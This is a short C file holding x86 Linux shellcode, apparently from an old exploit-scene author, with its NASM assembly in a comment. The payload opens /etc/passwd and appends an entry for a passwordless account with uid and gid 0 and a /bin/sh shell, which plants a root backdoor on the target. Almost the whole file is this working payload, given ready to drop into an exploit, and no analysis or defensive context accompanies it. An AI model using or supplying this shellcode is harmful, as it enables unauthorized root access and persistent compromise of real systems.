/************************************************************* This shellcode writes to /etc/passwd the string for the user with uid&gid == 0; written by dev0id dev0id@mail.ru (rootteam.void.ru) #rus-sec /Efnet.org greetz: nerf w00w00 ************************************************************* BITS 32 jmp short path main: pop esi xor eax,eax push eax mov byte [esi+11],al mov al,0x0a push eax push esi mov al,5 push eax int 0x80 mov edx,eax push long 0x0a206873 push long 0x2f6e6962 push long 0x2f3a2f3a push long 0x313a303a push long 0x303a3a31 mov ebx,esp mov al,20 push eax push ebx push edx mov al,4 push eax int 0x80 mov al,1 push eax int 0x80 path: call main db "/etc/passwd#" ********************************************************************/ char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x50\x88\x46\x0b\xb0\x0a\x50\x56\xb0\x05" "\x50\xcd\x80\x89\xc2\x68\x73\x68\x20\x0a\x68\x62\x69\x6e\x2f" "\x68\x3a\x2f\x3a\x2f\x68\x3a\x30\x3a\x31\x68\x31\x3a\x3a\x30" "\x89\xe3\xb0\x14\x50\x53\x52\xb0\x04\x50\xcd\x80\xb0\x01\x50" "\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73" "\x73\x77\x64\x23";